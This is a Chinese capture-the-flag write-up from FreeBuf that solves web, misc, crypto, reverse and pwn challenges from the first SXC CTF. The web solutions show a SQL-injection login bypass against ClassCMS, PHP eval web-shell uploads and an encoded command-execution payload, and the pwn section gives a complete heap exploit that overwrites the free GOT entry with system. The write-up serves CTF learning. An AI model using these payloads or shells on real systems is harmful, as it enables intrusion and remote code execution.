freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

第一届SXC CTF WP
FreeBuf_337032 2021-02-12 03:19:30 199994

平台地址: sxc.starsnowsec.cn

签到题

看视频,后面肉眼可见flag

flag{Happy_New_Year_2021}

WEB

Base

image.png
打开网址可以看到,Sorry,you are not admin!you are Guest 根据思路可以判断当传参的加密值为admin是,可进行下一步
作为大佬,可能一眼就能认出是base64 改了编码表,但是还是给出了提示在robots.txt
image.png
访问base.txt
image.png
利用编码直接跑出值
我比较懒
直接放上大佬poc和wp
Base
爆破字典表

import requests,string

# print("{")
# for a in string.printable:
#     for b in "gwAQ":
#         res = requests.get("http://106.55.249.213:5001?user="+a+b).text
#         if len(res) == 33 and res[-1] in string.printable:
#             print("'%s':'%s',"%(res[-1],a+b))
# print("}")
dddd = {'o':'ag','p':'aw','m':'aA','n':'aQ','s':'bg','t':'bw','q':'bA','r':'bQ','w':'cg','x':'cw','u':'cA','v':'cQ','{':'dg','|':'dw','y':'dA','z':'dQ','}':'eA','~':'eQ','#':'Hg','$':'Hw','!':'HA','"':'HQ','\'':'Ig','(':'Iw','%':'IA','&':'IQ','+':'Jg',',':'Jw',')':'JA','*':'JQ','/':'Kg','0':'Kw','-':'KA','.':'KQ','3':'Lg','4':'Lw','1':'LA','2':'LQ','7':'Mg','8':'Mw','5':'MA','6':'MQ',';':'Ng','<':'Nw','9':'NA',':':'NQ','?':'Og','@':'Ow','=':'OA','>':'OQ','C':'Pg','D':'Pw','A':'PA','B':'PQ','G':'Qg','H':'Qw','E':'QA','F':'QQ','K':'Rg','L':'Rw','I':'RA','J':'RQ','O':'Sg','P':'Sw','M':'SA','N':'SQ','S':'Tg','T':'Tw','Q':'TA','R':'TQ','W':'Ug','X':'Uw','U':'UA','V':'UQ','[':'Vg','\\':'Vw','Y':'VA','Z':'VQ','_':'Wg','`':'Ww',']':'WA','^':'WQ','c':'Xg','d':'Xw','a':'XA','b':'XQ','g':'Yg','h':'Yw','e':'YA','f':'YQ','k':'Zg','l':'Zw','i':'ZA','j':'ZQ',}
for i in """1 union select 1,BINARY(flag) from flag_sxc""".replace(" ","/**/"):
if i in dddd:
print(dddd.get(i),end="")
else:
print("~~~no~~~")
?user=XAXwaAZAaQ&id=LAKgJQJQKgcAaQZAagaQKgJQJQKgbgYAZwYAXgbwKgJQJQKgLAJwXwXAbwXAXQXAbgYAIwJA
database() base

发现BINARY可以直接回显,不知道为什么反正很爽

1 union select 1,BINARY(table_schema) from information_schema.tables group by table_schema
base information_schema mysql performance_schema

1 union select 1,BINARY(table_name) from information_schema.tables where table_schema=database()
data flag_sxc

1 union select 1,BINARY(column_name) from information_schema.columns where table_name='flag_sxc'
flag

1 union select 1,BINARY(flag) from flag_sxc
flag{SXC is very funny!}

ClassCMS

可以直接下载源码,然后源码审计,根据提示escape($str)函数直接,全局定位到/class/cms/cms.php处1858行
image.png
可以看出来构成了sql注入
到后台登录出
image.png
登录抓包

POST /index.php/admin?do=admin:login HTTP/1.1
Host: 156.253.68.196
Content-Length: 28
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://156.253.68.196
Referer: http://156.253.68.196/index.php/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_f62231=405d51fb24252a1528e5ed8fcbc0b636; csrf_f62231=26a8119e
Connection: close

userhash=root' union select 1,'admin','admin','49faced8d2069292b0d415b9786cb06b',1,'admin'--&passwd=root

image.png
image.png
再次刷新
image.png
成功登录到后台,然后应用商店
image.png
随便找一个点击下载
image.png
然后再点击下载
image.png
记得抓一下返回包
image.png
可以看到一个http地址
浏览器打开之后会下载这个插件
image.png
提取打开之后

image.png
image.png

再php文件上添加一个小马
然后可以找到文件上传处
image.png
image.png
上传点
将刚刚打包好的文件上传,或者将文件上传到自己的服务器上也可以的
image.png
image.png
拿到地址

http://156.253.68.196/upload/20210209/37daa57f9af2bc.zip

然后将刚刚的上传地址改为刚才的那个
或者在这之后进行抓包修改地址,都可以的
image.png
image.png
然后跑到http://156.253.68.196/class/cache304/cache304.php 地方
这个文件已经上传了你的马子
image.png
然后我蚁剑连接时为乱码
image.png
然后我在开始时将system函数禁用,可以尝试绕过方法,例如
image.png
最后的payload为

POST /class/cache304/cache304.php HTTP/1.1
Host: 156.253.68.196
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://156.253.68.196
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://156.253.68.196/class/cache304/cache304.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_f62231=405d51fb24252a1528e5ed8fcbc0b636; csrf_f62231=26a8119e; token_326237=c56c95d8d1444c993a5d2e6082c32245; csrf_326237=5a9fed7c
Connection: close

1=%65%63%68%6f%20%60%63%64%20%43%3a%5c%55%73%65%72%73%5c%41%64%6d%69%6e%69%73%74%72%61%74%6f%72%5c%44%65%73%6b%74%6f%70%5c%43%6c%61%73%73%43%4d%53%26%26%74%79%70%65%20%66%6c%61%67%2e%70%68%70%60%3b
flag{I_Only_want_To_Say_Six_Six_Six}

Wechat

参考连接:https://blog.csdn.net/qq_41139830/article/details/80531802

反编译时,直接下载的小程序包需要改名字,后缀为wxapkg,(其他后缀我并没有试过,手动狗头)否则会报错

npm install
node wuWxapkg.js -d debug.wxapkg

反编译,在/pages/notes/notes.js发现

http://121.37.189.111:8055/upload_file.php

上传代码中过滤了<?
本来我想过滤掉eval和$_POST,assert等关键字,最后的考点为 ’ ` ’执行命令,时间紧迫,没有过多地过滤 : )
上传shell

POST /upload_file.php HTTP/1.1
User-Agent: PostmanRuntime/7.26.8
Accept: */*
Postman-Token: da10a4ef-d372-4f91-a38e-41006a0196bd
Host: 121.37.189.111:8055
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------419469736650736022214757
Content-Length: 257

----------------------------419469736650736022214757
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/png

<script language="php">@eval($_POST["hdxw"])</script>
----------------------------419469736650736022214757--
http://121.37.189.111:8055/upload/13b36bec63ddfe34d5ae32d0547e16a4.phtml

key:hdxw
根目录下假flag,在/var/www/html/flag.php得到真flag

flag{We_Chat_Upload_File_Is_Easy!}

Misc

Flag不在这

解法1:

直接搜文本

flag{It's_real_easy!D0_Y0u_Like_it?}

解法2:

压缩包打开文件,会发现flag.txt
打开就是flag

牛年大吉

查看文件属性,主题“不要不要不相信,上面标题就是的!!记得带英文的!哦”,标题“这个就是哦!”

flag{这个就是哦!}

网络深处

作为一个老赛棍一眼就看出了这是 2020-UNCTF-MISC-网络深处 的比赛原题,wp网上可查,flag也没变

flag{Y29pbA==}

打开压缩包,有3个文件
image.png

密文为:
636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871

把拨号音丢到audacity里,打开频谱分析
image.png
与该图对照
image.png
可以得出电话号码为: 15975384265
题目提示,电话号码就是ZIP密码,解压缩ZIP
又获取了一个电话录音.wav

继续丢到audacity里
切到屏幕分析,发现
image.png

原来加密方式是: Tupper自我指涉公式造图
image.png
找了一个在线加解密网站: https://tuppers-formula.ovh/

FLAG是 flag{Y29pbA==} 或者 flag{coil} (base64解密后)

拼图
montage拼接图片,提示内存什么的错误,最后用PS,拼在了一张图里
修改拼接后的图片大小,改为1200x1200

gaps --image=test.png --generation=30 --population=300 --size=120

一下就出来了
image.png
image.png

flag{123A4X5b6cLi}

Very very easy hex

循环解压

import zipfile
import os

def unzip(filePath,fileName,filePass="",encoding="gbk"):
    outFile = []
    zFile = zipfile.ZipFile(filePath+fileName, "r")
    for file in zFile.namelist():
        zFile.extract(file, filePath, pwd=filePass.encode(encoding))
        outFile.append(filePath+file)
    zFile.close()
    return file
for i in range(3200,1,-1):
    unzip("H:\\SXC\\img\\", str(i)+".zip")
    os.remove("H:\\SXC\\img\\"+str(i)+".zip")

最后得到168张黑图,跑了一下图片hash发现只有两种,且168正好是7的整数倍,最后得到二进制

转字符串得到flag
另外的提示中有0,0为坐标
image.png

#coding: utf-8
import zipfile

from PIL import Image


for x in range(1,200):
    image = Image.open("img/" + str(x) + ".png")
    r,g,b,a = image.getpixel((0,0)) #要识别像素的坐标
    if r == 0:
        print('1',end="")
    else:
        print('0',end="")
    pass

二进制转字符串得到

flag{D0_y0u_like_it?}

Love_it!

Wireshark“导出http对象”列表里找关键对象,可以看到整个过程是“扫后台-爆破后台密码-上传shell-命令执行”,找对应的流即可
flag{后台名称后台账号后台密码一句话木马名称一句话密码_第三个马子执行的命令}

flag{dede_admin_starsnowniubi_ma_yingzi_echo `whoami`;}

YLBNB

1 wireshark 打开 YLBNB.pcapng
过滤器开启

http.request.method == "POST"

image.png

发现xor.py
image.png

#coding:utf-8
import base64
from secret import key
file = open("YLBSB.docx", "rb")
enc = open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:
    d = chr(c ^ ord(key[count % len(key)]))
    enc.write(d.encode())
    count = count + 1

发现secret.cpython-38.pyc
image.png

DUMP出来并反编译
image.png

获取KEY为key = 'YLBSB?YLBNB!'

发现YLBSB.ZIP
image.png

导出并解压缩,发现是一个YLBSB.xor 文件
image.png

现在已经很清晰了,
已知算法 xor.py ,秘钥key = 'YLBSB?YLBNB!' ,密文 YLBSB.xor
求明文YLBSB.docx。

给出py脚本如下\

key = 'YLBSB?YLBNB!'
enc = open("YLBSB.xor","rb")

flag = open("flag1.docx","wb")
plain = enc.read().decode()
count = 0
a=b''
for c in plain:
    #print(c)
    d = ord(c) ^ ord(key[count % len(key)])
    a+=bytes(d,)
    count = count + 1
    print(count)
flag.write(base64.b64decode(a))

最终生成文档
搜索flag
发现一串透明文字
image.png
加个红背景
image.png
FLAG是UNCTF{Best_YLB_Ever}

Crypto

esay_rsa

打开附件,如下:

from libnum import *
from Crypto.Util.number import *
e=16
p=getPrime(1024)
q=getPrime(2014)
m=open("flag.txt","r")
m=m.read()
phi=(p-1)*(q-1)
e=16
n=p*q
c=pow(m,e,n)
print(p,q)
print(c)
#179339724246229843726779086497758086700767091942823382102884697671804799304652009167355556601254668595454468719362996895223198577570604382893112170906563827541309282210572274232294619880050319161575088535959209840362236242388298589816970890276440396102003032194498931444904045321511867770510618482963253444171 129452010891691830141409340110903415892699564803510819611230128697000018597328039023549940695442548949477197670554474296663476556526956844201703892277849111159918130079993188297874083230421826432704150193965881475251551569007803579575294635406881373500519242104699767331003255332253689242203833528581342849543
#2808687352764477098395390294961819217315835766406235505320171029927556669353148216977881915171651466299509767224192462948015834874984486165348031860747483578335393807164134429328527196534260381656710151946245376450723534200936105517142950677477408381688538476698011647690160341234578738276252465419868981865480237722922378366606827835972506973590707313723621953535237744085453112422520046215491391634375583932984581117857542239086424415712847637926466842915619897955952838264553358372055862162937724305897337642251117481658246011399468928899099485021249046029674378841452856157322899643045650367542092683227867005292

加密类型为RSA,已经给出了p,q,e,但这里要注意的是e=16,是个合数,与phi=(p-1)*(q-1)之间可能存在公约数。可算出确实存在公约数,且为4.
故这样的私钥d就不存在。但由于e=16刚好为2的4次方,故我们可以想到Rabin算法,即:
C= me mod n
令m1=m(e/2)
则C=m12 mod n
使用Rabin算法可以求出四个可能的m1,继续使用相同的方法:
令m2=m1(1/2)=m**(e/4),又可以得出四个可能的m2,以此往后,循环4次
脚本如下:

from libnum import * 
from Crypto.Util.number import *
def Gcd(a,b):
 if a<b:
  a,b=b,a
 while(b!=0):
  tmp=a%b
  a=b
  b=tmp
 return a
def Rabin(c,p,q,n):
 mp=pow(c,(p+1)//4,p)
 mq=pow(c,(q+1)//4,q)
 yp=invmod(p,q)
 yq=invmod(q,p)
 r=(yp*p*mq+yq*q*mp)%n
 fr=n-r
 s=(yp*p*mq-yq*q*mp)%n
 fs=n-s
 return (r,fr,s,fs)
e=16
p=179339724246229843726779086497758086700767091942823382102884697671804799304652009167355556601254668595454468719362996895223198577570604382893112170906563827541309282210572274232294619880050319161575088535959209840362236242388298589816970890276440396102003032194498931444904045321511867770510618482963253444171 
q=129452010891691830141409340110903415892699564803510819611230128697000018597328039023549940695442548949477197670554474296663476556526956844201703892277849111159918130079993188297874083230421826432704150193965881475251551569007803579575294635406881373500519242104699767331003255332253689242203833528581342849543
c=2808687352764477098395390294961819217315835766406235505320171029927556669353148216977881915171651466299509767224192462948015834874984486165348031860747483578335393807164134429328527196534260381656710151946245376450723534200936105517142950677477408381688538476698011647690160341234578738276252465419868981865480237722922378366606827835972506973590707313723621953535237744085453112422520046215491391634375583932984581117857542239086424415712847637926466842915619897955952838264553358372055862162937724305897337642251117481658246011399468928899099485021249046029674378841452856157322899643045650367542092683227867005292
n=p*q
phi=(p-1)*(q-1)
pub=Gcd(e,phi)
print(pub)
d=invmod(1,phi)
print(d)
poss_c=[c]
for i in range(4):
 new_poss_c=[]
 for ct in poss_c:
  new_ct=Rabin(ct,p,q,n)
  new_poss_c.extend(list(new_ct))
 poss_c=set(new_poss_c)
print(poss_c)
for i in poss_c:
 print(long_to_bytes(i))

运行结果如下:
image.png

得到flag: flag{Y0u_D1D_1t!_7h4_R4bin?}

2.gap
打开附件,如下:
image.png
原文:

Ciphertext = "57f5ef52f56f49f0f53f2f50f3f50f3f52f10f6df68f2f46f6ef76f58f56f6cf50f6df76f2f3f55f6df76f5df51f4c" (hex) Key = "12312"

这里仔细注意可以发现’f’的存在有点特殊,可以将’f’作为分隔符分离字符串,再将十六进制与Key进行异或得到flag
脚本如下:

a="57f5ef52f56f49f0f53f2f50f3f50f3f52f10f6df68f2f46f6ef76f58f56f6cf50f6df76f2f3f55f6df76f5df51f4c"
b=a.split('f')
print(b)
table=''
for i in b:
    x=chr(int(('0x'+i),16))
    table+=x
    print(x,end='')

print("\n",len(table))
print(b)
index="12312"

for i in range(len(b)):
    x=chr(int(('0x'+b[i]),16)^ord(index[i%5]))
    print(x,end='')

运行之后,得到flag:

flag{1a1a1a1a!_Y0u_Did_a_G00d_Gob}

easy easy rsa

e = 65537
n1 = 12825100771257456077149964910605574628379912849150485275974020467902117235464130742121032530579724237866564791769251587583725631441489760720100057002948256344359458323465989937328959412299485905695960531657748731414339028199922429650835662666221800190685881209740102840495258149699357507420871994133381553002962266178100932214532054094696463627129336711033963381097413539659886146489405551742843204180033734977810683480542088934851102406520152543021307892757619684557961750000731528948222632469628321045924617868708870938946037379106714397519120005629351078109442687651029509686361054127744053158563626266699075075737
n2=12106667820155092651005980788681668939257714995685173260910711516508690589738399069362876916118479326569560356438772026406627666696459488677154928623481898279221763592991189674063719945636491539578401643457393148592966590912378623321315886510941581133207379498943442783133771909578755977685155060485627632310832382151388077346940192798438100540619466956848168872919742741008418429745589887364045046983841365071962255428055166475284027313634844775738922659401945163832045277387473402653688033772789419513303256030578783069827187965792213613558772834195874813704269442102682045669656446050452299378335318477524181485253
c1=1355386572112372850611036490966188175538987863527927779960990786002452575170634054152212358933763547055422759756027415133273832918485098947876171096276729416374754375351954023434636784414452074632079620319919916399472952978595188578240886468294826420444304995599277105894055963835188287235635124702371763798280974345092661352727696147636416880598697984896058201794475838054061012604762913331122089815538163372055678041274333240141855434364313862079318613288609268694638414313107742788496861764919534572555564813096923547764022387270411562081525314199522682854725378344260430282649981271048334528928379571310731841486
c2=4187980246417055670109574209914134920842728879790147759053902195578524923822173623172504926464305172283619697197398385414680370395194257777668782418463576167818360563481718399499794914649713155302730381449258353312689298898026896213681503805901805909523952463970468637528661785771438841120982593452996933730855072663395182215907870741391439468194834658733873078721153024127449124531077916463035731488854158195299285917169793645551008696190001511145682916315612709150405070977837592215815804308397385122772576945987613305629823072933891171331820743633516172878649931249873828674844504731893379037578087987573081245859

p=gmpy2.gcd(n1,n2)
print(long_to_bytes(m_cenp(c1,e,n1,p)))
b'flag{Very_easy_Rsa!}'

Hard RSA

#! /usr/bin/python2
# -*- coding: utf-8 -*-
import gmpy2

n1 = 17963064878219297499926539755529525701375912229028373100173473134607394789664287607368340798794683194437682952690508928886652995386383146889003406172408614571972729531812623495934448286040540097840662578369651592616783708165933036306017892497833364373485432426417809013633924450913331047907013191887482793788688736422653892662900369700701081539738763728230752094073294005560908179016172875213907812943500460207818071050071895019325622709305548027158608131204996083137774696224909740835744016252811508782404134677682054379270633099277445509293373814980267901088167711756798567438727515561927878122737404945310578048219
c1 = 2519784075571363990355801446319896012899269885206109823774950526790963683990153738128746190638393784786596405506731840240589533349004496866914346264165223649729391271273556253486062775839454219993404367212857109756953767455690796208791355456292865648813147954137342631589248190059107210837405220320124078796283385382994717993598412926549647978190991179177838292156516142496656655553613583148209957002024913648233539568864514049304210818483385640653620994626277688420873819215255064048179977060710057344959786809400706849894340484144098989681668420576351191631435372353088813222856086210998354107613629733847782962190
n2 = 18724308600993680772040132476147443059937062865510694686877532603079614680086774925762072671394784787691065784432778464228230479469525602116950506124178922966302228834351364607333986401435253287986565305219407269279319145851605536263946222693062150972421981977212241191765587924831341467136660852112059970632881164690431105960074159318822853545203221878413076459098980779367764115932851271974512575031047448816911420663521305894273613218483567916755598148798190932027939210902403155767487515702073721374684377875350047635848757189883075996002319631998930528597791545501045272097478778892159675588840857142652895265911
c2 = [3227115480108687251143827858010802848948769835037303555920483802259214819344453925631294417806432714176524195861938002549436386343852098195596387592472144546437874859798830812267011643855867112448231876484774166379425286268881326798711769931848606930434512049291154720821129654830620829493843059059835800242333615312846190103494997079811557982251508839708002883778910917631553992619052626191828854730582898255670700858011426887487070944722267353577011178466697504947762804170585435684678698950363434075952461947607646966414518037049739527149945887998812316417005423702083018805606242882095334884780205891592816168103L, 17139275485259110169718125211934888629708949924849742315041043571562307752055065297519271353044041441264892639110696891866965260187916302606640599942290472419225004160983308212078726494659784938191829066322525193057563553826485587827351089778042018829577434276292639964092632076137550347805354953807458891741631731341557365791973551073866525939105337652370251223107187937345980460911362790708353134912495192276504731259631723322913019046682545871283275754931576128656069033856416078373511440449107627433371949378696710812496517227289219196266427370667273925986284754478473526404645897976394395240810054198847661134728L]
c3 = [281487861809153, 49947026556362417]


#低加密指数攻击 得到e1,e2
e1 = gmpy2.iroot(c3[0],3)[0]
e2 = gmpy2.iroot(c3[1],3)[0]

#共模攻击 得到 p
s = gmpy2.gcdext(e1, e2)
s1,s2 = s[1],s[2]
enc1,enc2 = c2[0],c2[1]
if s1 < 0:
    s1 = -s1
    enc1 = gmpy2.invert(enc1, n2)
elif s2 < 0:
    s2 = -s2
    enc2 = gmpy2.invert(enc2, n2)
p = gmpy2.powmod(enc1, s1, n2) * gmpy2.powmod(enc2, s2, n2) % n2

#分解n1 得到 p,q解密
q = n1/p
d = gmpy2.invert(e1,(p-1)*(q-1))
m = gmpy2.powmod(c1,d,n1)
flag = hex(m)[2:].strip('L').decode('hex')
print(flag)

Reverse

Strange_Exe

查壳无壳,且为windows下64位的可执行文件。运行下程序:
image.png
输入key和flag后,程序闪退,拖入IDA64进行静态分析,但没有发现任何有用的信息,但注意到出现了py的字眼:
image.png
猜测位.py打包的exe文件,使用工具pyinstxtractor.py解包exe程序,如图:
image.png
得到一个解包后的文件夹,进入,找到struct.pyc和Strange_Exe.pyc文件,使用16进制编辑器打开,将struct.pyc的前16个直接复制到Strange_Exe.pyc文件中,再使用uncompyle6工具将pyc文件反编译位py文件,如下:
image.png
image.png
打开123.py文件,如下:

# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.7 (tags/v3.7.7:d7c567b08f, Mar 10 2020, 10:41:24) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: Strange_Exe.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
from Crypto.Util.number import *
from libnum import *
import sys, re
n = 15918411597618586060819747211019232956301429853331119063072801656728732069058173301883340106111227136891697700232034340385517503821550316514509598828371567291927034209739579161420250942835300760062388388683188169078998354546275025404760856848035811909245927193924407780477406113027780914872953650371476667691551791247239685668919166440730836937493672795463806256420507804561520438130471758235055184762099437552550761799204089748301473669780929164521604329505281885488615659463842291867123824731574827544577691274853057214797150641644350863926042558265377144791076149523988466129940228982316552811117184433775196842001
e = 65537

def Encry(flag, key):
    if len(key) % 2 == 1:
        print('Key Length Error')
        sys.exit(1)
    n = len(key) // 2
    encrypted = ''
    for c in flag:
        c = ord(c)
        for a, b in zip(key[0:n], key[n:2 * n]):
            c = (ord(a) * c + ord(b)) % 251
        encrypted += '%02x' % c

    return encrypted
if __name__ == '__main__':
    enflag = '2e8563bae171634602f946d76d46c810f946f34b9d46079d638585c4469d5e9d03'
    print('I just know the key is be encrypted by RSA >^<')
    print('the N  is ', 15918411597618586060819747211019232956301429853331119063072801656728732069058173301883340106111227136891697700232034340385517503821550316514509598828371567291927034209739579161420250942835300760062388388683188169078998354546275025404760856848035811909245927193924407780477406113027780914872953650371476667691551791247239685668919166440730836937493672795463806256420507804561520438130471758235055184762099437552550761799204089748301473669780929164521604329505281885488615659463842291867123824731574827544577691274853057214797150641644350863926042558265377144791076149523988466129940228982316552811117184433775196842001)
    print('the e  is ', e)
    print('the enkey is', 5245012035129826698183403080011445624613856052094715725373682276458248758771126394998534800902967048805562607357130318411192210685987107838816794834417355855833659383949900569538961590972391565753499233029524761954522186780031294040166860781444579756451023002734395369180904976153913515045576292688356629623726557075215355919441347362141761522428818516126532001416838975868466604383696324013723160613564724549146744670434353680461359576345948952804490469885471008440180876962116006206555145646287351475935581687169678110234891269143620201576816041518623263681993235742082804091430437091467240335038679328296670872451)
    mykey = input('input your key:')
    myflag = input('tell me your flag:')
    En = Encry(myflag, mykey)
    if En == enflag:
        print('congrulations!')
    else:
        print('Oh! you just need more trying')
        sys.exit(1)
# okay decompiling .\Strange_Exe.pyc

分析程序可以知道,通过输入key与flag,将key和flag经过Encry函数加密后得到密文En,若密文与enflag相等,则输入的flag即位我们想要的flag.分析加密函数:

def Encry(flag, key):
    if len(key) % 2 == 1:
        print('Key Length Error')
        sys.exit(1)
    n = len(key) // 2
    encrypted = ''
    for c in flag:
        c = ord(c)
        for a, b in zip(key[0:n], key[n:2 * n]):
            c = (ord(a) * c + ord(b)) % 251
        encrypted += '%02x' % c

    return encrypted

加密流程如下:
①将key分成等份的两组,并用zip打包成为一个元组
②将flag中的每一个元素c*key[0:n]+key[n:2n]
③将得到的数值转化为十六进制,形成字符串
这里直接分析,感觉要先将key解出来,已知key使用RSA加密的,给出了ckey与N,但是N暴力破解很难分解,几乎解不出key,仔细分析加密程序,可以发现虽然flag的每个元素都会经过很多次处理,但每个元素每次都进行了相同的处理,每次处理都是在群251下的仿射加密!因此,可以直接看为进行了一次仿射加密,写出解密算法即可得出flag.
解密脚本如下:

from Crypto.Util.number import *
from libnum import *
import sys
import re
enflag='2e8563bae171634602f946d76d46c810f946f34b9d46079d638585c4469d5e9d03'
enflag=re.findall('.{2}',enflag)
table=[]
for i in enflag:
    x=int('0x'+i,16)
    table.append(x)
lenflag=len(enflag)
print(lenflag,'\n',enflag)
print(table)
a=0
b=0
for i in range(1,252):
    for j in range(1,252):
        c1=(ord('f')*i + j)%251
        c2=(ord('l')*i + j)%251
        c3=(ord('a')*i + j)%251
        if c1==table[0] and c2==table[1] and c3==table[2]:
            a=i
            b=j
            break
if(a!=0 and b!=0):
 print("a:",a,"\tb:",b)
 inva=invmod(a,251)
 flag=[]
 for n in table:
     x=((n-b)*inva)%251
     flag.append(chr(x))
 print(''.join(flag))

运行后得到flag:

flag{Ha_It_is_N0t_7he_Really_eXe}

Very easy Reverse

pyinstxtractor解包,010Editor调整pyc头,uncompyle6反编译得到5.pyc源码,下面是flag周围部分代码

print_text(screen, font1, 30, 7, f"Spend: {score // 100}")
print_text(screen, font1, 450, 7, f"Score: {score}")
if score >= 10000:
 print('flag{Wow_So_Amazing!!}')
 game_over = True
if game_over:
 if start:
     print_text(screen, font2, (SCREEN_WIDTH - fwidth) // 2, (SCREEN_HEIGHT - fheight) // 2, 'GAME OVER', RED)
pygame.display.update()
flag{Wow_So_Amazing!!}

PWN

原谅我们没有pwn佬,只能找exp

#coding:utf-8
from pwn import *

def New(p, size):
    p.sendlineafter('choice:', '1')
    p.sendlineafter('chunk:', str(size))

def Write(p, idx, content):
    p.sendlineafter('choice:', '2')
    p.sendlineafter('index:', str(idx))
    p.sendafter('content:', content)
    sleep(0.3)

def Delete(p, idx):
    p.sendlineafter('choice:', '3')
    p.sendlineafter('index:', str(idx))

def pwn():
    p = process('./pwn5')
    elf = ELF('./pwn5')
    context.log_level = 'debug'
    context.arch = 'amd64'
    #context.terminal = ['tmux', 'split', '-h']
    #gdb.attach(p)
    New(p, 0x60) # 0
    New(p, 0x60) # 1
    Delete(p, 0)
    Delete(p, 1)
    raw_input('1')
    Delete(p, 0)
    raw_input('2')

    New(p, 0x60) # 2 0
    raw_input('3')
    Write(p, 2, p64(0x60208d))  # 7f
    raw_input('4')

    New(p, 0x60) # 3 1
    New(p, 0x60) # 4 0
    New(p, 0x60) # 5 0x60208d
    raw_input('5')

    Write(p, 4, '/bin/sh\x00')   # 4 0
    raw_input('6')
    payload = '\x00' * 3 + p64(elf.got['free']) * 3   # pr : 0x6020a0
    raw_input('7')
    Write(p, 5, payload)    # 5 0x60208d

    raw_input('8')

    Write(p, 2, p64(elf.plt['system']))  # 0 

    raw_input('9')
    Delete(p, 4)  # 4
    raw_input('10')
    p.interactive()

    p.close()

if __name__ == '__main__':
    pwn()
# web安全 # CTF # misc
本文为 FreeBuf_337032 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_337032 LV.1
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 1 关注者
ClassCMS 后台getshell 复现
2021-02-14
文章目录